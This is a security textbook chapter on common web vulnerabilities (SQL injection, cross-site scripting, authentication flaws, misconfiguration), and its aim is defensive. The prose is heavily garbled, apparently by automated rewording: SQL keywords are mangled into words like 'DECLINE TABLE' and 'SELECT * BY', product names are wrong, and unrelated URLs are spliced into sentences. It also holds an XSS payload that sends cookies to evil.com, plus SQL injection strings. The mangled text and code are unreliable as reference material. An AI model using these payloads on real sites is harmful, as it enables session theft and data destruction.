Threat Landscape and Common Vulnerabilities

· 11 min read
Threat Landscape and Common Vulnerabilities

# Chapter 4: Threat Landscape plus Common Vulnerabilities
Just about every application operates within a setting full involving threats – malevolent actors constantly seeking for weaknesses to use. Understanding the risk landscape is crucial for defense. Inside this chapter, we'll survey the nearly all common varieties of application vulnerabilities and episodes seen in the particular wild today. We will discuss how they will work, provide practical instances of their écrasement, and introduce very best practices to stop these people. This will lay down the groundwork at a later time chapters, which may delve deeper in to building security directly into the development lifecycle and specific protection.

Over the many years, certain categories associated with vulnerabilities have surfaced as perennial troubles, regularly appearing within security assessments and breach reports. Sector resources such as the OWASP Top 10 (for web applications) and even CWE Top 25 (common weaknesses enumeration) list these typical suspects. Let's explore some of typically the major ones:

## Injection Attacks (SQL, Command Injection, and many others. )
- **Description**: Injection flaws arise when an program takes untrusted type (often from a great user) and enters it into a great interpreter or command in a manner that alters the particular intended execution. The classic example is definitely SQL Injection (SQLi) – where consumer input is concatenated into an SQL query without correct sanitization, allowing you inject their own SQL commands. Similarly, Control Injection involves treating OS commands, LDAP Injection into LDAP queries, NoSQL Injection in NoSQL sources, and so in. Essentially, the application form falls flat to distinguish information from code guidelines.

- **How it works**: Consider some sort of simple login type that takes a great username and password. If the server-side code naively constructs a query such as: `SELECT * BY users WHERE login name = 'alice' AND EVEN password = 'mypassword'; `, an assailant can input some thing like `username: alice' OR '1'='1` and `password: anything`. The resulting SQL would become: `SELECT * BY users WHERE user name = 'alice' OR EVEN '1'='1' AND password = 'anything'; `. The `'1'='1'` situation always true could make the query return all consumers, effectively bypassing the password check. This specific is a fundamental example of SQL shot to force some sort of login.
More maliciously, an attacker may terminate the problem through adding `; DECLINE TABLE users; --` to delete the particular users table (a destructive attack about integrity) or `; SELECT credit_card BY users; --` in order to dump sensitive data (a confidentiality breach).
- **Real-world impact**: SQL injection features been behind some of the largest data removes on record. All of us mentioned the Heartland Payment Systems break the rules of – in 2008, attackers exploited an SQL injection in a web application to ultimately penetrate internal systems and steal millions of credit rating card numbers​
TWINGATE. COM
. Another situation: the TalkTalk 2015 breach in britain, in which a teenager applied SQL injection to get into the personal files of over one hundred and fifty, 000 customers. The particular subsequent investigation revealed TalkTalk had kept an obsolete webpage with an identified SQLi flaw on the internet, and hadn't patched a database weakness from 2012​
ICO. ORG. UK

ICO. ORG. UNITED KINGDOM
. TalkTalk's CEO described it as a new basic cyberattack; without a doubt, SQLi was well-understood for a ten years, yet the company's failure to sanitize inputs and update software resulted in the serious incident – they were fined and suffered reputational loss.
These examples show injection episodes can compromise confidentiality (steal data), integrity (modify or remove data), and availability (if data is usually wiped, service will be disrupted). Even right now, injection remains the common attack vector. In fact, OWASP's 2021 Top Five still lists Injection (including SQL, NoSQL, command injection, and many others. ) as being a top risk (category A03: 2021)​
IMPERVA. COM
.
- **Defense**: The particular primary defense in opposition to injection is reviews validation and output escaping – make sure that any untrusted information is treated mainly because pure data, in no way as code. Employing prepared statements (parameterized queries) with bound variables is some sort of gold standard with regard to SQL: it sets apart the SQL code in the data ideals, so even if an user gets into a weird string, it won't break up the query framework. For example, utilizing a parameterized query in Java with JDBC, the previous login query would be `SELECT * THROUGH users WHERE login =? AND pass word =? `, and the `? ` placeholders are bound to user inputs securely (so `' OR PERHAPS '1'='1` would end up being treated literally because an username, which in turn won't match just about any real username, quite than part associated with SQL logic). Identical approaches exist for other interpreters.
Upon top of that, whitelisting input acceptance can restrict precisely what characters or format is allowed (e. g., an login could be restricted to alphanumeric), stopping many injection payloads at the front door​
IMPERVA. COM
. Furthermore, encoding output correctly (e. g. HTML encoding to stop script injection) will be key, which we'll cover under XSS.
Developers should by no means directly include organic input in directions. Secure frameworks plus ORM (Object-Relational Mapping) tools help by simply handling the query building for you. Finally, least privilege helps mitigate impact: the database bank account used by the particular app should possess only necessary privileges – e. g. it will not have got DROP TABLE privileges if not necessary, to prevent a great injection from performing irreparable harm.

## Cross-Site Scripting (XSS)
- **Description**: Cross-Site Scripting describes some sort of class of vulnerabilities where an software includes malicious canevas within the context regarding a trusted site. Unlike injection into a server, XSS is about inserting into the content that other users see, typically inside a web web site, causing victim users' browsers to carry out attacker-supplied script. At this time there are a number of types of XSS: Stored XSS (the malicious script is definitely stored on the particular server, e. g. in the database, plus served to some other users), Reflected XSS (the script is reflected off of the server immediately in the reaction, often via a research query or problem message), and DOM-based XSS (the vulnerability is in client-side JavaScript that insecurely manipulates the DOM).

- **How that works**: Imagine a note board where customers can post responses. If the application will not sanitize HTML CODE tags in responses, an attacker could post a comment like: ` var i=new Image(); i. src="http://evil.com/steal?cookie="+document.cookie; `. Any consumer who views that comment will accidentally run the screenplay in their browser. The script previously mentioned would send the user's session dessert to the attacker's server (stealing their very own session, hence enabling the attacker to impersonate them upon the site – a confidentiality plus integrity breach).
In the reflected XSS situation, maybe the site shows your input on an error web page: if you pass a new script in typically the URL and the web site echoes it, that will execute in the browser of anyone who clicked that harmful link.
Essentially, XSS turns the victim's browser into the unwitting accomplice.
instructions **Real-world impact**: XSS can be very serious, especially about highly trusted internet sites (like social networks, web mail, banking portals). A famous early example of this was the Samy worm on Web sites in 2005.  https://docs.shiftleft.io/sast/ui-v2/reporting  can named Samy uncovered a stored XSS vulnerability in Bebo profiles. He created a worm: the script that, when any user viewed his profile, that would add him or her as a buddy and copy typically the script to typically the viewer's own profile. This way, anyone otherwise viewing their profile got infected also. Within just something like 20 hours of relieve, over one mil users' profiles acquired run the worm's payload, making Samy one of many fastest-spreading malware of all time​
SOBRE. WIKIPEDIA. ORG
. The worm itself simply displayed the expression "but most regarding all, Samy is definitely my hero" on profiles, a fairly harmless prank​
EN. WIKIPEDIA. ORG
. On the other hand, it had been a wake-up call: if a great XSS worm may add friends, it could just mainly because easily make stolen personal messages, spread junk e-mail, or done some other malicious actions upon behalf of customers. Samy faced lawful consequences for this specific stunt​
EN. WIKIPEDIA. ORG
.
In an additional scenario, XSS can be used to be able to hijack accounts: for instance, a reflected XSS in a bank's site may be taken advantage of via a phishing email that tips an user into clicking an URL, which then executes a script to transfer funds or steal session bridal party.
XSS vulnerabilities experience been present in sites like Twitter, Myspace (early days), in addition to countless others – bug bounty courses commonly receive XSS reports. Although XSS bugs are of moderate severity (defaced UI, etc. ), some could be critical if they allow administrative account takeover or deliver adware and spyware to users.
rapid **Defense**: The foundation of XSS defense is output development. Any user-supplied content material that is exhibited in the page need to be properly escaped/encoded so that that cannot be interpreted as active script. Regarding example, if a customer writes ` bad() ` in a review, the server should store it after which output it since `< script> bad()< /script> ` thus that it comes up as harmless textual content, not as a great actual script. Contemporary web frameworks generally provide template machines that automatically get away variables, which inhibits most reflected or perhaps stored XSS by simply default.
Another crucial defense is Articles Security Policy (CSP) – a header that instructs internet browsers to execute intrigue from certain sources. A well-configured CSP can mitigate the impact of XSS by blocking in-line scripts or exterior scripts that aren't explicitly allowed, although CSP may be intricate to set right up without affecting web site functionality.
For programmers, it's also important to prevent practices like dynamically constructing CODE with raw files or using `eval()` on user input in JavaScript. Internet applications can furthermore sanitize input to be able to strip out disallowed tags or qualities (though this is complicated to get perfect). In summary: confirm and sanitize virtually any HTML or JavaScript inputs, use context-appropriate escaping (HTML get away from for HTML content, JavaScript escape regarding data injected straight into scripts, etc. ), and consider permitting browser-side defenses want CSP.

## Cracked Authentication and Period Supervision
- **Description**: These vulnerabilities require weaknesses in how users authenticate to the application or perhaps maintain their authenticated session. "Broken authentication" can mean many different issues: allowing weakened passwords, not avoiding brute force, declining to implement correct multi-factor authentication, or even exposing session IDs. "Session management" is closely related – once an user is logged inside, the app normally uses a period cookie or token to keep in mind them; in case that mechanism is flawed (e. h. predictable session IDs, not expiring classes, not securing typically the cookie), attackers may hijack other users' sessions.

- **How it works**: 1 common example will be websites that made overly simple pass word requirements or got no protection towards trying many security passwords. Attackers exploit this kind of by using abilities stuffing (trying username/password pairs leaked from the other sites) or incredible force (trying many combinations). If generally there will be no lockouts or perhaps rate limits, a good attacker can methodically guess credentials.
One other example: if a good application's session biscuit (the item of data that identifies a logged-in session) is usually not marked with all the Secure flag (so it's sent more than HTTP as nicely as HTTPS) or not marked HttpOnly (so it can be accessible to scripts), it might be taken via network sniffing at or XSS. As soon as an attacker provides a valid treatment token (say, thieved from an insecure Wi-Fi or by way of an XSS attack), they will impersonate that will user without needing credentials.
There include also been common sense flaws where, for instance, the username and password reset functionality is usually weak – could be it's vulnerable to a great attack where an attacker can reset to zero someone else's pass word by modifying parameters (this crosses straight into insecure direct object references / gain access to control too).
General, broken authentication masks anything that allows an attacker to be able to either gain experience illicitly or avoid the login making use of some flaw.
instructions **Real-world impact**: We've all seen reports of massive "credential dumps" – billions of username/password pairs floating around coming from past breaches. Assailants take these plus try them about other services (because a lot of people reuse passwords). This automated credential stuffing has guided to compromises involving high-profile accounts on the subject of various platforms.
A good example of broken auth was the case in this year where LinkedIn suffered a breach plus 6. 5 mil password hashes (unsalted SHA-1) were leaked​
NEWS. SOPHOS. CONTENDO

NEWS. SOPHOS. APRESENTANDO
. The weakened hashing meant assailants cracked most involving those passwords within just hours​
NEWS. SOPHOS. COM

INFORMATION. SOPHOS. APRESENTANDO


. More serious, a few years later it turned out the breach was actually a lot larger (over hundred million accounts). Individuals often reuse accounts, so that break the rules of had ripple outcomes across other web sites. LinkedIn's failing has been in cryptography (they didn't salt or perhaps use a sturdy hash), which will be a part of protecting authentication data.
Another commonplace incident type: period hijacking. For  exploitability score  in point, before most internet sites adopted HTTPS just about everywhere, attackers about the same system (like a Wi-Fi) could sniff cookies and impersonate users – a threat popularized from the Firesheep tool this year, which usually let anyone bug on unencrypted classes for sites want Facebook. This made web services in order to encrypt entire periods, not just sign in pages.
There are also cases of mistaken multi-factor authentication implementations or login bypasses due to logic errors (e. gary the gadget guy., an API that returns different text messages for valid compared to invalid usernames may allow an opponent to enumerate consumers, or a poorly applied "remember me" symbol that's easy in order to forge). The consequences involving broken authentication usually are severe: unauthorized accessibility to user balances, data breaches, personality theft, or unauthorized transactions.
- **Defense**: Protecting authentication needs a multi-pronged approach:
rapid Enforce strong password policies but inside reason. Current NIST guidelines recommend allowing users to select long passwords (up to 64 chars) rather than requiring recurrent changes unless there's indication of compromise​
JUMPCLOUD. COM



AUDITBOARD. COM
. Rather, check passwords towards known breached security password lists (to refuse "P@ssw0rd" and the like). Also inspire passphrases which are simpler to remember although hard to estimate.
- Implement multi-factor authentication (MFA).  https://docs.shiftleft.io/sast/analyzing-applications/insights  is definitely often not enough these kinds of days; providing an option (or requirement) for the second factor, such as an one-time code or even a push notification, significantly reduces the chance of account endanger even if account details leak. Many key breaches could have been mitigated simply by MFA.
- Risk-free the session tokens. Use the Safe flag on pastries so they are usually only sent more than HTTPS, HttpOnly thus they aren't accessible via JavaScript (mitigating some XSS impact), and consider SameSite to prevent them from being sent in CSRF episodes (more on CSRF later). Make period IDs long, randomly, and unpredictable (to prevent guessing).
- Avoid exposing program IDs in Web addresses, because they could be logged or released via referer headers. Always prefer cookies or authorization headers.
- Implement account lockout or throttling for login endeavors. After say five to ten failed attempts, either lock the be the cause of a period or increasingly delay reactions. Utilize CAPTCHAs or perhaps other mechanisms in case automated attempts are detected. However, be mindful of denial-of-service – some web pages opt for smoother throttling to avoid letting attackers secure out users by trying bad accounts repeatedly.
- Program timeout and logout: Expire sessions following a reasonable period associated with inactivity, and completely invalidate session as well on logout. It's surprising how some apps in the past didn't properly invalidate server-side program records on logout, allowing tokens to become re-used.
- Pay attention to forgot password flows. Use secure bridal party or links through email, don't expose whether an consumer exists or not (to prevent customer enumeration), and guarantee those tokens expire quickly.
Modern frames often handle the lot of this kind of to suit your needs, but misconfigurations are typical (e. h., a developer may accidentally disable some sort of security feature). Regular audits and assessments (like using OWASP ZAP or other tools) can capture issues like lacking secure flags or perhaps weak password plans.
Lastly, monitor authentication events. Unusual designs (like just one IP trying a huge number of usernames, or one accounts experiencing countless unsuccessful logins) should boost alarms. This overlaps with intrusion diagnosis.
To emphasize, OWASP's 2021 list phone calls this category Recognition and Authentication Disappointments (formerly "Broken Authentication") and highlights the importance of such things as MFA, not using default credentials, and implementing proper security password handling​
IMPERVA. COM
. They note that will 90% of software tested had issues in this field in many form, quite mind boggling.

## Security Misconfiguration
- **Description**: Misconfiguration isn't just one weeknesses per se, yet a broad class of mistakes throughout configuring the program or its surroundings that lead in order to insecurity. This could involve using default credentials or options, leaving unnecessary attributes enabled, misconfiguring protection headers, or not solidifying the server. Basically, the software might be secure in idea, but the way it's deployed or set up opens a hole.

- **How this works**: Examples associated with misconfiguration:
- Leaving behind default admin accounts/passwords active. Many software program packages or equipment historically shipped using well-known defaults